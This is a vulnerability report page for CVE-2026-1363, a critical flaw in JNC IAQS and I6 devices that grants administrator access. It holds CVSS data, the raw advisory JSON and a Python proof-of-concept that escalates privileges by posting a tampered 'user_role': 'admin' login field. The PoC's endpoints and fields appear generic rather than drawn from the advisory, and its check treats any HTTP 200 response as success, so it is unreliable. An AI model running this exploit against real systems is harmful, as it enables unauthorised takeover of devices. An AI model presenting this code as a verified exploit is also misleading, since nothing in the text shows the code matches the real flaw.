Security Vulnerability Report
中文
CVE-2026-1363 CVSS 9.8 CRITICAL

CVE-2026-1363

Published: 2026-01-23 09:15:47
Last Modified: 2026-04-15 00:35:42

Description

IAQS and I6 developed by JNC has a Client-Side Enforcement of Server-Side Security vulnerability, allowing unauthenticated remote attackers to gain administrator privileges by manipulating the web front-end.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

JNC IAQS 所有版本
JNC I6 所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2026-1363 PoC - Client-Side Enforcement of Server-Side Security # Target: JNC IAQS/I6 # Vulnerability: Privilege escalation via web front-end manipulation TARGET_URL = "http://target-server.com" def exploit_cve_2026_1363(): """ Exploit for CVE-2026-1363 This PoC demonstrates how an attacker can gain administrator privileges by manipulating the web front-end authentication mechanism. """ # Step 1: Capture the original login request session = requests.Session() login_url = f"{TARGET_URL}/login" # Original login payload login_data = { "username": "attacker", "password": "anypassword", "user_role": "user" } # Step 2: Intercept and modify the request # Modify user_role to 'admin' to bypass client-side security checks modified_data = { "username": "attacker", "password": "anypassword", "user_role": "admin" # Privilege escalation } # Step 3: Send the modified request response = session.post(login_url, data=modified_data) # Step 4: Verify if admin access was granted if "admin" in response.text.lower() or response.status_code == 200: print("[+] Successfully gained administrator privileges!") # Step 5: Access admin panel admin_url = f"{TARGET_URL}/admin/dashboard" admin_response = session.get(admin_url) if admin_response.status_code == 200: print("[+] Admin panel access confirmed") return True print("[-] Exploitation failed") return False if __name__ == "__main__": exploit_cve_2026_1363()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1363", "sourceIdentifier": "[email protected]", "published": "2026-01-23T09:15:47.430", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "IAQS and I6 developed by JNC has a Client-Side Enforcement of Server-Side Security vulnerability, allowing unauthenticated remote attackers to gain administrator privileges by manipulating the web front-end."}, {"lang": "es", "value": "IAQS e I6 desarrollados por JNC tienen una vulnerabilidad de imposición de seguridad del lado del servidor en el lado del cliente, permitiendo a atacantes remotos no autenticados obtener privilegios de administrador manipulando el front-end web."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-603"}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10653-117a1-2.html", "source": "[email protected]"}, {"url": "https://www.twcert.org.tw/tw/cp-132-10652-4cdca-1.html", "source": "[email protected]"}]}}